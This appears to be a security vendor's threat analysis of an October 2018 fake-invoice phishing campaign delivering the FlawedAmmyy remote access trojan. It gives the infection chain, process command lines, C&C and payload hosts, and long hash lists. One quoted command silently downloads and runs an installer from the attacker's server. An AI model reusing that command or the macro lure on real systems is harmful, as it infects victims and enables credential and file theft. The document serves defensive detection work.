FlawedAmmyy RAT delivered through fake invoice emails in large numbers
Infection Chain:
Figure 1: Infection chain of the phishing campaign
On October 16th, the email below was sent with subjects such as “Invoice for” (random digits followed by it) and matching attachments like “Invoice_23794.16_10.doc”. The attachments were office documents with VB macros in it. We observed two sets of emails tricking users to believe it’s from legitimate source. One claims that it has been scanned by the Symantec Email Security and the other claims that it’s coming from DocuSign signature service.
Figure 2: Email used in phishing campaign
Figure 3: Email used in phishing campaign
Upon launching the attachment, it tells the user that the document was created in earlier version of Microsoft office and requests to click ‘Enable content’ to view the content properly. Even more, the page below has been crafted to look like it has some display issues.
Figure 4: Invoice document
If the recipient falls for the lure and enables content, the malicious macro code shown below runs and launches a command to download the initial payload. The payload, an installer file, is then run.
Figure 5: Macro that runs when launch the invoice document
Figure 6: Form within the invoice document
The deobfuscated macro code shown below, creates a copy of msiexec.exe, renames it to pixie.exe and finally runs the windows installer from “http://msboxoffice.com/tech”. Installation is done silently using pixie.exe (msiexec.exe).
Figure 6: Deobfuscated macro code
Upon installation, the initial payload (msi installer) drops the next stage payload “host.exe” in the temp directory and starts running it. “Host.exe” then brings down the final payload “Wsus.exe” (flawedammyy RAT) from msboxoffice.com <92.255.99.50> and starts running it.
- WINWORD.EXE (cmdline: ‘C:\Program Files\Microsoft Office\Office14\WINWORD.EXE’ /n ‘C:\Users\user\Desktop\Invoice_ 60231.16_10.doc MD5: c1af2d74df77bce93ecb6d0edf3fd2d7
- pixie.exe (cmdline: ‘C:\Users\user\AppData\Local\Temp\pixie.exe’ /norestart /q /i http://msboxoffice.com/tech MD5: 4315D6ECAE85024A0567DF2CB253B7B0)
- host.exe (cmdline: C:\Users\user\AppData\Local\Temp\Data1\host.exe MD5: 3511183F86F31706B641B7F42DA6E9F4)
- wsus.exe (cmdline: ‘C:\ProgramData\Microsofts Help\wsus.exe’ -service MD5: E74A33E36A4BFB7F8828B29174BC7D23)
After successfully compromising the machine, wsus.exe connects with the command and control server (C&C) – 169.239.129.27:80
Ammyy Admin is a popular remote desktop software to gain access into a computer for performing diagnostics on Microsoft Windows machines. FlawedAmmyy RAT was created with the leaked source code of Ammyy Admin. Hence, attackers have complete access over the infected machines with the ability to access a variety of services, steal files, credentials and much more.
Sonicwall Threat Research Lab provides protection against this exploit with the following signatures:
- SPY: 5296 Malformed-File vbs.OT.10
- GAV Cloud: 66894769 Browsefox-6628766-0
Threat Graph:
Figure 7: VirusTotal graph of the documents and payloads involved in this campaign
Find below the hashes of the email messages and the invoice documents gathered from VirusTotal
Sha256 hashes of the email messages:
9532262eefdd796ccea1fae0fbaf54cf8da2c70bdaa17b12e74384a1580f0fe2
Filename WG Invoice for 01547 10 08 2018.msg
First Seen 2018-10-17 06:55:48
3630b8142f86053aeaa0611a01b1adfc4cd5a1e53d276306ddf8d1628148293e
Filename WG Invoice B0D761AE2 16 10 2018.msg
First Seen 2018-10-17 07:03:22
a7daa0c4d1f6b27beb3c25f8d609b7f94d20fbafb1ef880bef2f1d625444429c
Filename Invoice for 18164 10 08 2018.msg
First Seen 2018-10-16 17:00:33
Sha256 hashes of the invoice documents involved in this campaign:
e006216019968c4bcdf3a7962842ed9200927f17578bcc45ea65e77955b6fd3f
Filename Invoice_ 17846.16_10.doc
First Seen 2018-10-16 15:37:02
3e1be4fd86de1c9a6a0b5aa224320626967c9c85053e07d991d15368d9bcf271
Filename Invoice for 23974 10 08 2018.msg
First Seen 2018-10-17 15:08:45
a673f1545649e3e9b19c37389a76ea66844ea1f307b702ab7118ad819ffcb4fc
Filename host_exe_PID97c_hiddenmodule_210000_x86.exe
First Seen 2018-10-17 07:48:07
8f71a0684ba5d93715c5c537a76dd7a5afafe49cac8aea9f8da42385d4ad4eaf
Filename Invoice_ 81511.16_10.doc
First Seen 2018-10-17 04:51:22
7993a7e4e04918526448a103bb4446f6096f512de82dd93143af463373d3a000
Filename Invoice_ 11217.16_10.doc
First Seen 2018-10-17 06:01:29
ebda73fae7815688b6002b79e2be821dd461542398a646521d15390316874de5
Filename Invoice_ 96124.16_10.doc
First Seen 2018-10-17 05:16:39
1a0e9d083456b1a857b2be13e026ae117f6e82d7f3f7e6f48241f4f3d1aba597
Filename Invoice_ 91254.16_10.doc
First Seen 2018-10-17 05:16:37
8e68e6b0fac21add9b8ca88c03e4ddb1a418211227f58475766e211bd796537e
Filename invoice.pub
First Seen 2018-10-16 16:24:02
c689e46f8146e4e95983a7816e3b84d7f7e5ab65dbbdc5eaed06290793b37e2a
Filename Invoice_ 51347.16_10.doc
First Seen 2018-10-17 04:31:36
c87576d1d3e1f49c8192174bec6687732f42d477cd75011d6c7579acc78a36d4
Filename Invoice_ 09323.16_10.doc
First Seen 2018-10-17 01:46:30
d49df9fbaac14afebd6ea4593994a3f18016fffec61708d451f1c1e007b5e26b
Filename Invoice_ 53130.16_10.doc
First Seen 2018-10-17 03:31:33
6aa277118b64c0ac3b7205cdeeb731bdf90b46cc1ed41c7907b798b31295891d
Filename Invoice_ 44737.16_10.doc
First Seen 2018-10-17 03:31:32
4a81c4475eccf90c7cb463d9cee7dcf6bb21b406a4b1068e086c1a4fe70577ee
Filename Invoice_ 75096.16_10.doc
First Seen 2018-10-17 01:16:35
ab4a6b2038f8b70991d1d46b2f531ea5c3791959082186f0d14b173ba8b4e734
Filename Invoice_ 85809.16_10.doc
First Seen 2018-10-17 01:01:43
6129da0b94576a18117e67dc1993d46f38ce042f36908053ac72c12f30c31a89
Filename Invoice_ 27059.16_10.doc
First Seen 2018-10-17 01:01:37
62cf4cecc9bf3e37934297f6bc16b730fd1ffd633ade8c4909eededc7110a884
Filename Invoice_ 77107.16_10.doc
First Seen 2018-10-17 00:16:41
1ca7d5e3088e80c306d32b81341965aa41ae65439ff20af1c4aca55d061618ed
Filename Invoice_ 90332.16_10.doc
First Seen 2018-10-17 00:01:54
9811090a11c9560a6cad0e0ae3b34d78aeea623bf35df367177fc94cb296f734
Filename Invoice_ 81213.16_10.doc
First Seen 2018-10-17 00:01:51
a01cc2b5339a0d78a59eefa73744578ac3a5d792744b93efd6d8323954f448de
Filename Invoice_ 79293.16_10.doc
First Seen 2018-10-16 23:31:32
5f304693b39fb4c28809d5c896f711b81deb3f05c91a2c03179045b6126b113a
Filename Invoice_ 15989.16_10.doc
First Seen 2018-10-16 22:46:34
c56f801abaa6a66cefbdcab7a79904b2f6429074b97c79fbe2a433eb50d441c7
Filename Invoice_ 49431.16_10.doc
First Seen 2018-10-16 22:16:32
54aba744dc0013d19058c49a77de6e4d8bd90b7a0aa121e44494217b3435e596
Filename Invoice_ 75061.16_10.doc
First Seen 2018-10-16 22:16:37
dbdd0ff660486e9415d691d19091fb4370f3c343f44aa4db034de2d4da1a48cd
Filename Invoice_ 62592.16_10.doc
First Seen 2018-10-16 21:46:34
fe74cc668c799014b87d0098287d774fe3b2a5a31361c7f9a4c4a96925e62d58
Filename Invoice_ 13608.16_10.doc
First Seen 2018-10-16 21:46:29
836f23e34703d243fc5a8619b3b8b76a7b4d1c736711127778b57701022a3df0
Filename Invoice_ 95756.16_10.doc
First Seen 2018-10-16 21:31:32
5b1c205e173eb8510e8b205fd5291d7abf04e8357f841b6e98f6efc72e2f5769
Filename Invoice_ 60231.16_10.doc
First Seen 2018-10-16 21:16:50
5ce4a3ebfdebc9add36686285215745a16f6bb88e83377629ab5dd8a1e72de85
Filename Invoice_ 10474.16_10.doc
First Seen 2018-10-16 20:46:30
e5fef6d76e05d62a9efe6b98f8af7f138cdeaaffaad80d6b849d7b64e9bc6520
Filename freeformatter-decoded.doc
First Seen 2018-10-16 20:27:22
9db70ffae17b67eeab1bb44e7e180d9be1768eaedfb3c9f6ac064b05c2ef8bd2
Filename Invoice_ 16478.16_10.doc
First Seen 2018-10-16 20:01:30
6d74937f32c36e6fbec428168f4c61d3bd6167572b9ce04ee6a5bb2b0b25a3de
Filename Invoice_ 61260.16_10.doc
First Seen 2018-10-16 20:01:34
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Filename Invoice_ 94753.16_10.doc
First Seen 2018-10-16 19:46:31
0dee0f9869ad9a7d4532f14cec0dc35f97ba98fbe2881b4cf685f69a23ac3ea8
Filename Invoice_ 91895.16_10.doc
First Seen 2018-10-16 19:31:31
d2df2f14c6f616bd5957cc2e3e8e595bfa04908c7084f13d0b80bd7a42ae8823
Filename Invoice_ 21774.16_10.doc
First Seen 2018-10-16 19:16:35
87ebb6d466a286408cabf18ec7cf2c3e624d4e7bced13a1dfa35b3f5706a1cd3
Filename Invoice_ 42016.16_10.doc
First Seen 2018-10-16 18:46:34
471eb58a1aee607a1b519b36921a9b2c2902bbd9bf55ee198be1771c52ca32c5
Filename Invoice_ 45934.16_10.doc
First Seen 2018-10-16 18:16:30
592a95f5ad4355ea64ecdc70f6f27675b58bb5808a3a7273049c2c25bd9f9f1d
Filename You got invoice from DocuSign Signature Service .msg
First Seen 2018-10-16 17:00:59
050de2090093509ff514e0672085c6e9469deb25e249e9d4f8d7ad4047bcd5a7
Filename Invoice_ 44708.16_10.doc
First Seen 2018-10-16 18:01:32
ee4e35afda3381ca7a1e78a0ae081d8206304b2880237c0c4ed7cba99863a28d
Filename Invoice_ 69385.16_10.doc
First Seen 2018-10-16 18:46:37
75ecab6894eae0a53c8f0fc049356864de4d8979a9e2a792172619da307258bc
Filename Invoice_ 39499.16_10.doc
First Seen 2018-10-16 18:46:33
26159aac0159eeef36d816f0819a91e4340b6b16eb09d07734ba6986dfa622b9
Filename Invoice_ 04247.16_10.doc
First Seen 2018-10-16 19:01:29
c714b4bfdffe62e1c3ae9b872102d7864757c37801df1cc4beb315e78bd38f70
Filename Invoice_ 49835.16_10.doc
First Seen 2018-10-16 19:16:40
8b4d9b08069ffc701912c5ff6ede3ab11019bed1e780ebe4aa8b64683e81e418
Filename Invoice_ 79724.16_10.doc
First Seen 2018-10-16 19:16:44
5bc959228ee1c0722c5897a3865d5646d5c10c9dca76d40125e31fabda2d326e
Filename Invoice_ 42667.16_10.doc
First Seen 2018-10-16 19:16:39
2a4b6417085ebda6bab09f4d6123822ab333bd7e147512d1273393ff4fb720f1
Filename Invoice_ 27364.16_10.doc
First Seen 2018-10-16 19:46:30
b2ac5c03869ebf2a1c55b25ff60d075ec36d5f03cdda97d197d4fe03e514ac28
Filename Invoice_ 22975.16_10.doc
First Seen 2018-10-16 20:31:37
c2c749720bd1857df5e88d90fe376f0647e41ca6433bcf5938337825061d677e
Filename Invoice_ 36816.16_10.doc
First Seen 2018-10-16 20:31:48
07beef5252a3867883b90e0ce2d32eb11903778e44b8808737d3eddfca8b4ab3
Filename Invoice_ 81548.16_10.doc
First Seen 2018-10-16 20:32:03
ae5a1c89b93b86aa2af7a4bbc2ecbc4e066161dd0e2157b6d5198d667a785411
Filename Invoice_ 75998.16_10.doc
First Seen 2018-10-16 20:32:02
4ed4f7fec4000e7123b75b3f3e52ac82a58ba7c8609a95a98f912f80ac6057ea
Filename Invoice_ 67758.16_10.doc
First Seen 2018-10-16 20:32:00
6e9f48e6aa16bda6accdd03010df902ed1334a39a89cb3070f3cc0679f99b98a
Filename Invoice_ 32247.16_10.doc
First Seen 2018-10-16 20:31:44
c98b16dd4c14467d74f9d57365d360cbea3072fb71197fa02a0843853d4d0c82
Filename Invoice_ 56746.16_10.doc
First Seen 2018-10-16 20:31:58
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Filename Invoice_ 91148.16_10.doc
First Seen 2018-10-16 20:32:14
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Filename Invoice_ 95069.16_10.doc
First Seen 2018-10-16 20:32:17
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Filename Invoice_ 45205.16_10.doc
First Seen 2018-10-16 20:46:32
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Filename Invoice_ 64344.16_10.doc
First Seen 2018-10-16 21:01:42
b608c76d5eeb6e9d195051f23c6f9a9567c9ba17ce7623fa8b85e9a4b93d87ef
Filename Invoice_ 79253.16_10.doc
First Seen 2018-10-16 21:01:47
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Filename Invoice_ 77842.16_10.doc
First Seen 2018-10-16 21:01:45
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Filename Invoice_ 40831.16_10.doc
First Seen 2018-10-16 21:01:39
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Filename Invoice_ 13225.16_10.doc
First Seen 2018-10-16 21:01:34
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Filename Invoice_ 01246.16_10.doc
First Seen 2018-10-16 21:16:29
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Filename Invoice_ 50261.16_10.doc
First Seen 2018-10-16 21:16:47
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Filename Invoice_ 50185.16_10.doc
First Seen 2018-10-16 21:16:45
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Filename Invoice_ 19939.16_10.doc
First Seen 2018-10-16 21:16:35
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Filename Invoice_ 87210.16_10.doc
First Seen 2018-10-16 21:16:56
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Filename Invoice_ 40925.16_10.doc
First Seen 2018-10-16 21:16:39
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Filename Invoice_ 29056.16_10.doc
First Seen 2018-10-16 21:16:38
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Filename Invoice_ 28136.16_10.doc
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Filename Invoice_ 83082.16_10.doc
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Filename Invoice_ 20088.16_10.doc
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Filename Invoice_ 83400.16_10.doc
First Seen 2018-10-16 22:46:43
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Filename Invoice_ 78998.16_10.doc
First Seen 2018-10-16 22:46:42
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Filename Invoice_ 85189.16_10.doc
First Seen 2018-10-16 23:01:36
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Filename Invoice_ 15038.16_10.doc
First Seen 2018-10-16 23:16:33
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Filename Invoice_ 22946.16_10.doc
First Seen 2018-10-16 23:16:36
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Filename Invoice_ 69436.16_10.doc
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Filename Invoice_ 29509.16_10.doc
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Filename Invoice_ 42580.16_10.doc
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Filename Invoice_ 62404.16_10.doc
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Filename Invoice_ 68129.16_10.doc
First Seen 2018-10-17 00:01:45
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Filename Invoice_ 31993.16_10.doc
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Filename Invoice_ 10813.16_10.doc
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Filename Invoice_ 85708.16_10.doc
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Filename Invoice_ 70332.16_10.doc
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Filename Invoice_ 86072.16_10_1.doc
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Filename Invoice_ 68185.16_10.doc
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Filename Invoice_ 53390.16_10.doc
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Filename Invoice_ 50692.16_10.doc
First Seen 2018-10-17 04:46:35
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Filename Invoice_ 66914.16_10.doc
First Seen 2018-10-17 05:46:41
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Filename Invoice_ 57919.16_10.doc
First Seen 2018-10-17 02:57:25
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Filename Invoice_ 44123.16_10.doc
First Seen 2018-10-16 20:46:39
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Filename Invoice_ 84319.16_10.doc
First Seen 2018-10-16 21:41:31
